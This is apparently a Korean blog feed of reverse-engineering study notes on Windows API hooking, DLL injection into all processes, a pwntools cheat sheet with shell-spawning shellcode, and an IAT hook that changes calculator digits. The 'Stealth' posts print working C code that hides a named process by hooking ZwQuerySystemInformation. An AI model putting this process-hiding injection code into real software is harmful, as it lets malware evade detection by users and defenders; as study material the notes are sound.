            unhook_by_code(&quot;kernel32.dll&quot;, &quot;CreateProcessW&quot;, 
                           g_pOrgCPW);
            unhook_by_code(&quot;ntdll.dll&quot;, &quot;ZwQuerySystemInformation&quot;, 
                           g_pOrgZwQSI);
            break;
    }

    return TRUE;
}</code></pre><p>stealth.cpp와 비교했을 때, ZwQuerySystemInformation뿐만 아니라, CreateProcess 함수도 후킹하고 있다.</p>
<h3 id="📢-핫-패치-방식의-api-후킹">📢 핫 패치 방식의 API 후킹</h3>
<blockquote>
<p>핫 패치 : 프로세스가 실행중인 상태에서 라이브러리를 프로세스 메모리에서 일시적으로 변경하는 것</p>
</blockquote>
<p>기존 5바이트 코드 패치 방식은 반복적인 훅/언훅 과정으로 인해 성능이 저하될 뿐만 아니라, 멀티스레드에서 Run-Time Error가 발생할 수 있다. 에러의 이유는 한 스레드에서 코드를 실행하려고 할 때, 다른 스레드가 같은 코드에 쓰기 시도를 하면서 충돌이 발생할 수 있기 때문이다.</p>
<p>핫 패치 방식은 7바이트 코드 패치 방식으로 보통 코드 시작전 주소에 의미 없는 명령어들이 있는데 그 부분을 채우면서 시작하는 방식이다. 이렇게 되면 EIP가 바로 다음 줄 코드이기 때문에 훅/언훅 과정이 필요가 없게 된다.</p>
<h3 id="📢-핫-패치-방식의-고려-사항">📢 핫 패치 방식의 고려 사항</h3>
<p>제약 조건(NOP * 5 + MOV EDI,EDI)이 만족되지 않으면 방식이 성립이 안되므로 5바이트 코드 패치 기법을 사용해야 한다.</p>
<h3 id="📢-createprocess-api의-특징-및-한계">📢 CreateProcess API의 특징 및 한계</h3>
<ol>
<li>kernel32.CreateProcessA와 kernel32.CreateProcessW를 모두 후킹한다.</li>
<li>이 때 CreateProcess API들은 모두 내부적으로 CreateProcessInternal API들을 호출한다. 이 말은 즉, CreateProcessInternal API들이 low-level-hooking 방법이다.</li>
<li>CreateProcess로 생성된 프로세스들에게도 자동적으로 바로 API 후킹을 걸어야 하는데, 아주 짧은 시간 동안 자식 프로세스가 후킹되지 않은 채로 실행 될 수 있다.</li>
</ol>
<h3 id="📢-ntdllzwresumethread-api">📢 Ntdll.ZwResumeThread() API</h3>
<pre><code>DWORD ZwResumeThread(
  [in] HANDLE ThreadHandle,
  [out] PULONG SuspendCount OPTIONAL
);</code></pre><p>ZwResumeThread API는 윈도우 Native API로, undocumented API이다. 해당 API는 프로세스가 생성된 후, 메인 스레드 실행 직전에 호출되는 함수이다. 이 함수로 API 후킹을 하면 자식 프로세스가 하나도 실행되지 않은 상태에서 API를 후킹할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA['Stealth' Process (1)]]></title>
            <link>https://velog.io/@1issang_h/Stealth-Process-1</link>
            <guid>https://velog.io/@1issang_h/Stealth-Process-1</guid>
            <pubDate>Mon, 20 Jan 2025 15:11:16 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-api-code-patch-동작-원리">📌 API Code Patch 동작 원리</h2>
<h3 id="📢-iat-hooking-vs-code-patch">📢 IAT Hooking vs Code Patch</h3>
<ul>
<li>IAT Hookin : 프로세스의 특정 IAT 값을 조작하여 후킹하는 방식</li>
<li>Code Patch : 실제 API 코드 시작 5바이트 값을 &#39;JMP XXXXXXXX&#39; 명령어로 패치하는 방식</li>
</ul>
<h3 id="📢-api-hooking-후-코드-동작-과정">📢 API Hooking 후 코드 동작 과정</h3>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/a6e3dcbd-5e7c-4c8f-8fb2-af0da8d13006/image.png" alt=""></p>
<ol>
<li>00422CF7에서 IAT의 주소인 48C69C에서 가리키는 값인 7C93D92E로 간다. 해당 주소는 ntdll.dll의 주소이다.</li>
<li>7C93D92E에 가면 &#39;JMP 10001120&#39; 명령어에 의해 stealth.dll 주소로 이동한다.</li>
<li>코드를 진행하다가 &#39;CALL unhook()&#39; 명령어가 나오는 데 그 이유는 원래 7C93D92E에 있던 &#39;JMP 10001120&#39;으로 덮어쓰기 이전 코드로 복원하여 프로그램에 이상이 생기지 않게 하기 위함이다.</li>
<li>&#39;CALL EAX&#39; 명령어를 통해 ntdll.dll의 7C93D92E 주소로 이동하여 코드를 수행한다.</li>
<li>7C93D93A의 &#39;RETN 10&#39;의 명령어를 만나면 자신을 호출한 위치로 리턴된다. 해당 위치는 &#39;CALL EAX&#39;에 의해 호출되었으므로 그 이후 코드인 &#39;CALL hook()&#39; 명령어로 리턴된다.</li>
<li>&#39;CALL hook()&#39; 명령어를 수행하는 데 그 이유는 다시 API 후킹된 상태로 유지시키기 위함이다.</li>
<li>1001233의 &#39;RETN 10&#39; 명령어에 의해 자신을 호출한 위치인 procexp.exe로 리턴된다<ul>
<li>주의해야 할 사항 : 처음에는 리턴해야 한다고 할 때 원래 ntdll에서 점프해서 온 것이니까 ntdll 쪽으로 가야 하는 것이 아닌가 생각했었지만, CALL이 아닌 JMP 명령어를 통해 온 것이므로 엄밀히 따지면 JMP는 호출이 아닌 직접 이동한 것이다. 따라서 호출된 곳은 procexp.exe이다.</li>
</ul>
</li>
</ol>
<hr>
<h2 id="📌-stealth-기능">📌 Stealth 기능</h2>
<h3 id="📢-관련-api">📢 관련 API</h3>
<ol>
<li>ZwQuerySystemInformation<pre><code>NTSTATUS WINAPI ZwQuerySystemInformation(
_In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_   PVOID                    SystemInformation,
_In_      ULONG                    SystemInformationLength,
_Out_opt_ PULONG                   ReturnLength
);</code></pre>ZwQuerySystemInformation API를 사용하는 이유</li>
</ol>
<ul>
<li>이 API를 이용하면 실행 중인 모든 프로세스의 정보(구조체)를 연결 리스트 형태로 얻을 수 있다.</li>
<li>즉, 이 연결 리스트를 조작할 수 있다면, 원하는 프로세스를 은폐(Stealth)시킬 수 있다.</li>
</ul>
<ol start="2">
<li>CreateToolHelp32Snapshot &amp; EnumProcesses<pre><code>HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);</code></pre><pre><code>BOOL EnumProcesses(
[out] DWORD   *lpidProcess,
[in]  DWORD   cb,
[out] LPDWORD lpcbNeeded
);</code></pre>이 2가지 API는 모두 내부적으로 ntdll.ZwQuerySystemInformation() API를 사용한다. 즉 ZwQuerySystemInformation() API가 이 2가지 API보다 low-level-Hooking 방법이다. 따라서 두 API를 사용해도 되지만, ZwQuerySystemInformation을 직접 후킹하는 것이 더 성공 확률이 높아진다.</li>
</ol>
<hr>
<h2 id="📌-global-hooking-1">📌 Global Hooking (1)</h2>
<h3 id="📢-배경">📢 배경</h3>
<ol>
<li>모든 프로세스 검색 유틸리티에 대해서 Stealth 기능 API를 후킹하여야 한다.</li>
<li>후킹한 프로세스가 한 개 더 생성되면, 그 프로세스에는 Stealth가 되지 않을 것이다. --&gt; 두 번째 실행된 프로세스에는 후킹이 되지 않았으므로</li>
</ol>
<h3 id="📢-정의">📢 정의</h3>
<blockquote>
<p>프로세스를 완전히 숨기기 위해 시스템에 실행 중인 모든 프로세스에 대해 ZwQuerySystemInformation() API를 후킹하고, 추가적으로 나중에 실행될 프로세스에 대해서도 후킹이 자동적으로 진행되게끔 하는 후킹 방법이다.</p>
</blockquote>
<h3 id="📢-소스코드-분석">📢 소스코드 분석</h3>
<ol>
<li><p>HookProc.cpp -&gt; InjectAllProcess()</p>
<pre><code>BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
 DWORD                   dwPID = 0;
 HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
 PROCESSENTRY32          pe;

 // 시스템의 snapshot 확보
 pe.dwSize = sizeof( PROCESSENTRY32 );
 // ZwQuerySystemInformation의 high-level hook process 사용
 hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );

 // 프로세스 찾기 --&gt; 프로세스의 PID를 찾는다.
 Process32First(hSnapShot, &amp;pe);
 do
 {
     dwPID = pe.th32ProcessID;

     // 시스템의 안정성을 위해서
     // PID 가 100 보다 작은 시스템 프로세스에 대해서는
     // DLL Injection 을 수행하지 않는다.
     if( dwPID &lt; 100 )
         continue;

     if( nMode == INJECTION_MODE )
         InjectDll(dwPID, szDllPath);
     else
         EjectDll(dwPID, szDllPath);
 }
 while( Process32Next(hSnapShot, &amp;pe) );

 CloseHandle(hSnapShot);

 return TRUE;
}</code></pre><p>이 함수에서 사용된 Process32First, Process32Next 함수</p>
<pre><code>BOOL Process32First(
[in]      HANDLE           hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);</code></pre><pre><code>BOOL Process32Next(
[in]  HANDLE           hSnapshot,
[out] LPPROCESSENTRY32 lppe
);</code></pre><p>두 함수를 이용하여 프로세스의 PID를 구한다.</p>
</li>
<li><p>stealth.cpp -&gt; SetProcName() --&gt; 데이터 전처리를 이용하여 정의하였다. </p>
<pre><code></code></pre></li>
</ol>
<p>#pragma comment(linker, &quot;/SECTION:.SHARE,RWS&quot;)
// .SHARE 이름의 공유 메모리 섹션 생성하고 그 안에 g_szProcName 버퍼 생성
#pragma data_seg(&quot;.SHARE&quot;)
    TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()</p>
<p>#ifdef __cplusplus
extern &quot;C&quot; {
#endif
// 은폐하고자 하는 프로세스의 이름을 입력받아서 g_szProcName에 붙여넣기
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
    _tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif</p>
<pre><code>
stealth.cpp -&gt; DllMain()</code></pre><p>BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char            szCurProc[MAX_PATH] = {0,};
    char            *p = NULL;</p>
<pre><code>// 예외처리
// 현재 프로세스가 HookProc.exe 라면 후킹하지 않고 종료
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, &#39;\\&#39;);
if( (p != NULL) &amp;&amp; !_stricmp(p+1, &quot;HideProc.exe&quot;) )
    return TRUE;

switch( fdwReason )
{
    // API Hooking
    case DLL_PROCESS_ATTACH : 
    hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                 (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
    break;

    // API Unhooking 
    case DLL_PROCESS_DETACH :
    unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                   g_pOrgBytes);
    break;
}

return TRUE;</code></pre><p>}</p>
<pre><code>hook_by_code와 unhook_by_code는 훅과 언훅을 담당하는 코드이다. 가장 중요한 부분은 NewZwQuerySystemInformation이다.</code></pre><p>NTSTATUS WINAPI NewZwQuerySystemInformation(
                SYSTEM_INFORMATION_CLASS SystemInformationClass, 
                PVOID SystemInformation, 
                ULONG SystemInformationLength, 
                PULONG ReturnLength)
{
    NTSTATUS status;
    FARPROC pFunc;
    PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
    char szProcName[MAX_PATH] = {0,};</p>
<pre><code>// 작업 전에 언훅
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

// original API 호출
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), 
                       DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
          (SystemInformationClass, SystemInformation, 
          SystemInformationLength, ReturnLength);

if( status != STATUS_SUCCESS )
    goto __NTQUERYSYSTEMINFORMATION_END;

// SystemProcessInformation 인 경우만 작업함
if( SystemInformationClass == SystemProcessInformation )
{
    // SYSTEM_PROCESS_INFORMATION 타입 캐스팅
    // pCur 는 single linked list 의 head
    pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

    while(TRUE)
    {
        // 프로세스 이름 비교
        // g_szProcName = 은폐하려는 프로세스 이름
        // (=&gt; SetProcName() 에서 세팅됨)
        if(pCur-&gt;Reserved2[1] != NULL)
        {
            if(!_tcsicmp((PWSTR)pCur-&gt;Reserved2[1], g_szProcName))
            {
                // 연결 리스트에서 은폐 프로세스 제거
                if(pCur-&gt;NextEntryOffset == 0)
                    pPrev-&gt;NextEntryOffset = 0;
                else
                    pPrev-&gt;NextEntryOffset += pCur-&gt;NextEntryOffset;
            }
            else        
                pPrev = pCur;
        }

        if(pCur-&gt;NextEntryOffset == 0)
            break;

        // 연결 리스트의 다음 항목
        pCur = (PSYSTEM_PROCESS_INFORMATION)
                ((ULONG)pCur + pCur-&gt;NextEntryOffset);
    }
}</code></pre><p>__NTQUERYSYSTEMINFORMATION_END:</p>
<pre><code>// 함수 종료 전에 다시 API Hooking
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
             (PROC)NewZwQuerySystemInformation, g_pOrgBytes);

return status;</code></pre><p>}</p>
<pre><code>아까 봤던 stealth.MyZQSI code의 과정 동작원리와 똑같이 흐른다. 중요한 부분은 SYSTEM_PROCESS_INFORMATION 구조체 연결 리스트를 검사하면서 프로세스 이름(pCur-&gt;Reserved2[1])을 비교하는 과정이다. 여기서 SYSTEM_PROCESS_INFORMATION 구조체는 아래와 같다.</code></pre><p>typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;</p>
<pre><code>이 구조체는 사용자 커스텀 함수가 아닌 Window Programming에서 사용되는 구조체 중 하나이다. ZwQuerySystemInformation API를 호출하면, SystemInformation 파라미터에 SYSTEM_PROCESS_INFORMATION 구조체 단방향 연결 리스트의 시작 주소가 저장된다. 이 구조체 연결 리스트에 모든 프로세스의 정보가 담겨있다. 따라서 이 연결리스트에서 은폐하고자 하는 프로세스를 찾아서 연결을 끊어버리면 된다.









</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[pwntools 간단 사용법]]></title>
            <link>https://velog.io/@1issang_h/pwntools-%EA%B0%84%EB%8B%A8-%EC%82%AC%EC%9A%A9%EB%B2%95</link>
            <guid>https://velog.io/@1issang_h/pwntools-%EA%B0%84%EB%8B%A8-%EC%82%AC%EC%9A%A9%EB%B2%95</guid>
            <pubDate>Sun, 19 Jan 2025 14:38:39 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-pwntools-간단-사용법">📌 pwntools 간단 사용법</h2>
<h3 id="📢-process--remote">📢 process &amp; remote</h3>
<p>process : 익스플로잇을 로컬 바이너리(응용 프로그램)를 대상으로 할 때 사용하는 함수
remote : 원격 서버를 대상으로 사용하는 함수</p>
<pre><code>from pwn import *
p = process(&#39;./test&#39;)    # test 바이너리 파일을 대상으로 익스플로잇 수행
p = remote(&#39;example.com&#39;,31337)    # &#39;example.com&#39;의 31337 포트로 실행 중인 프로세스를 대상으로 익스플로잇</code></pre><h3 id="📢-send">📢 send</h3>
<p>send : 데이터를 프로세스에 전송하기 위해 사용</p>
<pre><code>from pwn import *
p = process(&#39;./test&#39;)

p.send(b&#39;A&#39;)    #./test에 b&#39;A&#39;를 입력
p.sendline(b&#39;A)    #./test에 b&#39;A&#39; + b&#39;\n&#39;을 입력
p.sendafter(b&#39;hello&#39;,b&#39;A&#39;)    #./test가 b&#39;hello&#39;를 출력하면, b&#39;A&#39;를 입력
p.sendlineafter(b&#39;hello&#39;,b&#39;A&#39;)    #./test가 b&#39;hello&#39;를 출력하면, b&#39;A&#39;+b&#39;\n&#39;을 입력</code></pre><h3 id="📢-recv">📢 recv</h3>
<p>recv : 프로세스에서 데이터를 받기 위해 사용</p>
<pre><code>from pwn import *
p = process(&#39;./test&#39;)

data = p.recv(1024)    # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline()    # p가 출력하는 데이터를 개행 문자를 만날 때가지 받아서 data에 저장
data = p.recvn(5) # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b&#39;hello&#39;)    # p가 출력하는 데이터를 b&#39;hello&#39;를 출력할 때까지 받아서 data에 저장
data = p.recvall()    # p가 출력하는 데이터를 모둥 받아서 data에 저장</code></pre><h3 id="📢-packing--unpacking">📢 packing &amp; unpacking</h3>
<p>Little Endian --&gt; Bing Endian : unpacking
Big Endian --&gt; Little Endian : packing</p>
<pre><code>from pwn import *

s32 = 0x41424344

print(p32(s32))
# 결과 : b&#39;DCBA&#39; : Little -&gt; Big

s32 = b&quot;ABCD&quot;

print(hex(u32(s32)))
# 결과 : 0x4847464544434241 : Big -&gt; Little</code></pre><h3 id="📢-interactive">📢 interactive</h3>
<p>interactive : 익스플로잇의 특정 상황에서 직접 입력을 주면서 출력을 확인하고 싶을 때 사용</p>
<pre><code>from pwn import *
p = p.process(&#39;./test&#39;)
p.interactive()</code></pre><h3 id="📢-elf">📢 ELF</h3>
<p>ELF : 리눅스 운영체제의 실행 파일 포맷인 ELF 헤더의 정보를 참조</p>
<pre><code>from pwn import *
e = ELF(&#39;./test&#39;)
puts_plt = e.plt[&#39;puts&#39;]    # ./test에서 puts()의 PLT 주소를 찾아서 puts_plt에 저장
read_got = e.got[&#39;read&#39;]    # ./test에서 read()의 GOT 주소를 찾아서 read_got에 저장
binsh = next(e.search(b&#39;/bin/sh&#39;))    #./test에서 &#39;/bin/sh&#39;의 주소를 찾아서 binsh에 저장</code></pre><h3 id="📢-contextlog">📢 context.log</h3>
<p>context.log_level 변수로 레벨을 조절하여 context.log에 로그 작성</p>
<pre><code>from pwn import *
context.log_level = &#39;error&#39;    # error만 출력
context.log_level = &#39;debug&#39; # 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = &#39;info&#39; # 비교적 중요한 정보들만 출력 --&gt; 중요함의 기준이 뭘까?</code></pre><h3 id="📢-contextarch">📢 context.arch</h3>
<p>코드를 어셈블, 디스어셈블 기능을 대상 컴퓨터 구조에 맞게 지정</p>
<pre><code>from pwn import *
context.arch = &quot;amd64&quot;
context.arch = &quot;i386&quot;
context.arch = &quot;arm&quot;</code></pre><h3 id="📢-shellcraft">📢 shellcraft</h3>
<p>shellcraft : 자주 사용되는 shellcode를 쉽게 꺼내 쓸 수 있게 해줌</p>
<pre><code>from pwn import *
context.arch = &quot;amd64&quot;

code = shellcraft.sh()    # shell을 실행하는 shell code
print(code)

# 결과
# $ python3 shellcraft.py
#     /* execve(path=&#39;/bin///sh&#39;, argv=[&#39;sh&#39;], # envp=0) */
#     /* push b&#39;/bin///sh\x00&#39; */
#     push 0x68
#     mov rax, 0x732f2f2f6e69622f
#     ...
#     syscall</code></pre><h3 id="📢-asm">📢 asm</h3>
<p>asm : 어셈블 기능( 어셈블리어 -&gt; 기계어)</p>
<pre><code>from pwn import *
context.arch = &quot;amd64&quot;

code = shellcraft.sh()
code = asm(code)    # shell code를 기계어로 어셈블
print(code)    

# 결과
# $ python3 asm.py
# b&#39;jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05&#39;</code></pre><h3 id="📢-fmtstr_payload">📢 fmtstr_payload()</h3>
<p>fmtstr_payload : format string bug를 사용할 때 따로 페이로드 작성을 할 필요 없이 이 함수를 사용하면 바로 제작된다.
단, 항상 된다는 보장은 없으니 맹신하지는 말 것. format string bug 페이로드도 작성할 줄 알아야 한다.</p>
<pre><code>from pwn import *

payload = fmtstr_payload(오프셋 인자, { 주소, 덮을 값})

</code></pre><h3 id="📢-canary-leak">📢 Canary Leak</h3>
<pre><code>Canary = u64(b&#39;\x00&#39; + p.recv(7))</code></pre><hr>
<p>이외 더 많은 함수들을 보고 싶으면
<a href="https://docs.pwntools.com/en/stable/globals.html">https://docs.pwntools.com/en/stable/globals.html</a>
에서 찾아볼 것</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[계산기 API Hooking 실습]]></title>
            <link>https://velog.io/@1issang_h/%EA%B3%84%EC%82%B0%EA%B8%B0-API-Hooking-%EC%8B%A4%EC%8A%B5</link>
            <guid>https://velog.io/@1issang_h/%EA%B3%84%EC%82%B0%EA%B8%B0-API-Hooking-%EC%8B%A4%EC%8A%B5</guid>
            <pubDate>Sun, 19 Jan 2025 13:49:51 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-대상-api-선정">📌 대상 API 선정</h2>
<h3 id="📢-목표--계산기의-텍스트-에디터에-표시되는-모든-숫자를-한글로-변경하기">📢 목표 : 계산기의 텍스트 에디터에 표시되는 모든 숫자를 한글로 변경하기</h3>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/0ff92c0c-55b6-4377-8e28-4cf4dc282ad4/image.png" alt=""></p>
<p>SetWindowTextW API와 SetDlgItemTextW API를 후킹하면 될 것이라고 가정한다.</p>
<h3 id="📢-후킹-api-분석하기">📢 후킹 API 분석하기</h3>
<pre><code>BOOL SetWindowTextW(
  [in]           HWND    hWnd,
  [in, optional] LPCWSTR lpString
);</code></pre><p>SetWindowTextW API의 정의를 보면 위와 같다. 해당 API는 창의 문자열을 변경하는 API로, 파라미터로 창 핸들(<code>hWnd</code>)와 문자열 포인터(<code>lpString</code>)을 받는다. 저 문자열을 살펴보고 숫자를 한글로 변경하면 된다.</p>
<pre><code>BOOL SetDlgItemTextW(
  [in] HWND    hDlg,
  [in] int     nIDDlgItem,
  [in] LPCWSTR lpString
);</code></pre><p>SetDlgItemTextW API의 정의를 보면 위와 같다. 창 핸들(<code>hWnd</code>)와 문자열 포인터(<code>lpString</code>)을 받는 건 SetWindowTextW와 같고, 추가로 <code>nIDDlgItem</code>을 받는다. MSDN에는 <code>nIDDlgItem</code>에 설정할 제목이나 텍스트가 있는 컨트롤이라고 한다. 잘 이해가 가지 않아서 ChatGPT에게 이해하기 쉽게 설명해달라고 했더니 아래처럼 답변했다.
<img src="https://velog.velcdn.com/images/1issang_h/post/c101227c-0821-489f-a901-2c7924e5a318/image.png" alt="">
일종의 배열의 인덱스 값이라고 개념적으로 생각하면 될 것 같다.</p>
<p>이 2가지 API를 후킹을 위한 API라고 가정했지만, SetDlgItemTextW API는 내부적으로 다시 SetWindowTextW API를 호출한다고 한다. 따라서 더 low-level Hooking에 해당하는 SetWindowTextW를 후킹하면 더 성공적으로 후킹할 수 있을 것이다.</p>
<h3 id="📢-디버거로-calculatorexe의-setwindowtextw-api-확인해보기">📢 디버거로 calculator.exe의 SetWindowTextW API 확인해보기</h3>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/dd610eb8-09d4-4559-9fe0-60b88a1015ed/image.png" alt="">
SetWindowTextW의 검색해보면 위와 같이 나오고 그 구간에 BP를 걸어서 확인해보았다.
<img src="https://velog.velcdn.com/images/1issang_h/post/370e39eb-7ac7-409b-848d-3c4cdec8cb48/image.png" alt="">
<img src="https://velog.velcdn.com/images/1issang_h/post/834b7045-ed76-4e1e-89d4-763c3b2f91f3/image.png" alt="">
만약 내가 7을 입력하면 해당 값은 000DF674값에 입력되는 것을 확인 할 수 있다.</p>
<p>이 값을 한글로 고쳐서 실행하면 아래와 같은 값이 된다.
<img src="https://velog.velcdn.com/images/1issang_h/post/6bec0b6d-d295-4f97-99eb-a2551cec8be0/image.png" alt=""></p>
<hr>
<h2 id="📌-동작-원리-확인하기">📌 동작 원리 확인하기</h2>
<p>원래 프로세스 동작 과정</p>
<ol>
<li>Call [IAT 주소]를 통해 user32.SetWindowTextW API의 값을 호출</li>
</ol>
<p>후킹 후 프로세스 동작 과정</p>
<ol>
<li>Call [IAT 주소] 과정은 동일하지만 IAT 주소가 가리키는 값이 변하여 다른 API를 호출한다.</li>
<li>이 때, [IAT 주소]에 다른 함수의 주소를 입력하여 다른 API가 실행되게끔 한다.</li>
<li>다른 함수의 작업이 끝나고 원래 함수의 IAT 주소로 가서 원래 작업을 진행한다.</li>
</ol>
<p>--&gt;이 때 후킹 하기 전, DLL 인젝션을 진행하고, IAT 주소의 영역을 바꾸고 진행해야 원활하게 진행된다.</p>
<hr>
<h2 id="📌-소스코드-분석하기">📌 소스코드 분석하기</h2>
<p>DLLmain</p>
<pre><code>BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH : 
            // original API 주소 저장
            // g_pOrgFunc --&gt; 언훅 작업에서 사용하기 위함
               g_pOrgFunc = GetProcAddress(GetModuleHandle(L&quot;user32.dll&quot;), 
                                        &quot;SetWindowTextW&quot;);

            // # hook
            //   user32!SetWindowTextW() 를 hookiat!MySetWindowText() 로 후킹
            hook_iat(&quot;user32.dll&quot;, g_pOrgFunc, (PROC)MySetWindowTextW);
            break;

        case DLL_PROCESS_DETACH :
            // # unhook
            //   calc.exe 의 IAT 를 원래대로 복원
            hook_iat(&quot;user32.dll&quot;, (PROC)MySetWindowTextW, g_pOrgFunc);
            break;
    }

    return TRUE;
}</code></pre><p>MySetWindowTextW</p>
<pre><code>// MySetWindowTextW : 숫자를 한글로 변환하는 함수
// SetWindowTextW : 변환된 한글을 출력하는 함수
BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
    wchar_t* pNum = L&quot;영일이삼사오육칠팔구&quot;;
    wchar_t temp[2] = {0,};
    int i = 0, nLen = 0, nIndex = 0;

    nLen = wcslen(lpString);
    for(i = 0; i &lt; nLen; i++)
    {
        // &#39;수&#39;문자를 &#39;한글&#39;문자로 변환
        //   lpString 은 wide-character (2 byte) 문자열
        if( L&#39;0&#39; &lt;= lpString[i] &amp;&amp; lpString[i] &lt;= L&#39;9&#39; )
        {
            temp[0] = lpString[i];
            nIndex = _wtoi(temp);
            lpString[i] = pNum[nIndex];
        }
    }

    // user32!SetWindowTextW() API 호출
    //   (위에서 lpString 버퍼 내용을 변경하였음)
    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}</code></pre><p>hook_iat</p>
<pre><code>BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
    HMODULE hMod;
    LPCSTR szLibName;
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc; 
    PIMAGE_THUNK_DATA pThunk;
    DWORD dwOldProtect, dwRVA;
    PBYTE pAddr;

    // hMod, pAddr = ImageBase of calc.exe
    //             = VA to MZ signature (IMAGE_DOS_HEADER)
    hMod = GetModuleHandle(NULL);
    pAddr = (PBYTE)hMod;

    // pAddr = VA to PE signature (IMAGE_NT_HEADERS)
    // pAddr = &quot;PE&quot; signature
    pAddr += *((DWORD*)&amp;pAddr[0x3C]);

    // dwRVA = RVA to IMAGE_IMPORT_DESCRIPTOR Table
    dwRVA = *((DWORD*)&amp;pAddr[0x80]);

    // pImportDesc = VA to IMAGE_IMPORT_DESCRIPTOR Table
    // pImportDesc = ImageBase of calc.exe + RVA to IID Table = VA to IID Table
    pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

    for( ; pImportDesc-&gt;Name; pImportDesc++ )
    {
        // szLibName = VA to IMAGE_IMPORT_DESCRIPTOR.Name
        // szLibName = ImageBase of calc.exe + Name of IDT Table 
        szLibName = (LPCSTR)((DWORD)hMod + pImportDesc-&gt;Name);
        // szDllName = user32.dll ( 우리가 찾고자 하는 dll )
        if( !_stricmp(szLibName, szDllName) )    
        {
            // pThunk = IMAGE_IMPORT_DESCRIPTOR.FirstThunk
            //        = VA to IAT(Import Address Table)
            // pThunk = ImageBase of calc.exe + IAT FirstThunk = VA to IAT FirstThunk
            pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod + 
                                         pImportDesc-&gt;FirstThunk);

            // pThunk-&gt;u1.Function = VA to API
            for( ; pThunk-&gt;u1.Function; pThunk++ )
            {
                //pfnOrg = SetWindowTextW( 우리가 찾고자 하는 함수 ) 
                if( pThunk-&gt;u1.Function == (DWORD)pfnOrg )
                {
                    // 메모리 속성을 E/R/W 로 변경
                    // 계산기 프로세스의 IAT 메모리 영역이 읽기 전용이기 때문에 넣은 코드
                    VirtualProtect((LPVOID)&amp;pThunk-&gt;u1.Function, 
                                   4, 
                                   PAGE_EXECUTE_READWRITE, 
                                   &amp;dwOldProtect);

                    // IAT 값을 변경
                    pThunk-&gt;u1.Function = (DWORD)pfnNew;

                    // 메모리 속성 복원
                    VirtualProtect((LPVOID)&amp;pThunk-&gt;u1.Function, 
                                   4, 
                                   dwOldProtect, 
                                   &amp;dwOldProtect);                        

                    return TRUE;
                }
            }
        }
    }

    return FALSE;
}</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[Notepad WriteFile() Hooking]]></title>
            <link>https://velog.io/@1issang_h/Notepad-WriteFile-Hooking</link>
            <guid>https://velog.io/@1issang_h/Notepad-WriteFile-Hooking</guid>
            <pubDate>Wed, 15 Jan 2025 06:14:12 GMT</pubDate>
            <description><![CDATA[<h2 id="📌-debug-event">📌 Debug Event</h2>
<p>디버그 이벤트의 종류</p>
<pre><code>- **EXCEPTION_DEBUG_EVENT**
- CREATE_THREAD_DEBUG_EVENT
- CREATE_PROCESS_DEBUG_EVENT
- EXIT_THREAD_DEBUG_EVENT
- EXIT_PROCESS_DEBUG_EVENT
- LOAD_DLL_DEBUG_EVENT
- UNLOAD_DLL_DEBUG_EVENT
- OUTPUT_DEBUT_STRING_EVENT
- RIP_EVENT</code></pre><p>이 중 디버깅에 관련된 이벤트는 EXCEPTION_DEBUG_EVENT이다. 이와 관련된 이벤트의 종류는 아래와 같다.</p>
<pre><code>- EXCEPTION_ACCESS_VIOLATION
